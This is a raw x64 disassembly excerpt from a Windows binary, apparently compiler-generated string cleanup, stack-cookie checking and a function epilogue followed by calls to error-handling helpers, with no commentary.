call fcn.1400ac9a0
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], send
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x140038f92
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391e4
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115000]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1b0], r12w
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140038feb
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038fe6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391ea
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 7
jbe 0x140039050
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391f0
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 7
mov word [rbp + 0x170], r12w
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x1400390b3
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400390a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391f6
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14003910b
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400390fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400391fc
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14003915f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039152
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003919e
call fcn.1400ac9a0
movdqa xmm0, xmmword [0x140115010]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1400ac980
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008fb78
nop
mov r8, rdi
lea rcx, str.status
call fcn.14002e080
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
int3
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
nop
call fcn.14008fb78
int3